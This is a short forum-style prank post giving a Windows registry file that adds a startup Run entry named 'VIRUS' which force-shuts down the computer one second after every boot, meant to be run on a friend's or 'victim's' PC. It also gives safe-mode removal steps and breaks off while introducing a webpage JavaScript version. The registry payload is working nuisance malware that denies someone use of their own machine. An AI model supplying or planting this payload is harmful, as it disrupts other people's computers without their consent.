Shutdown ur friend's comp when everytime it starts
Thats really easy.
put this followin text in a .reg file and run it in the victims pc:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.
You can also put this in a javascript code, just add this code to your webpage: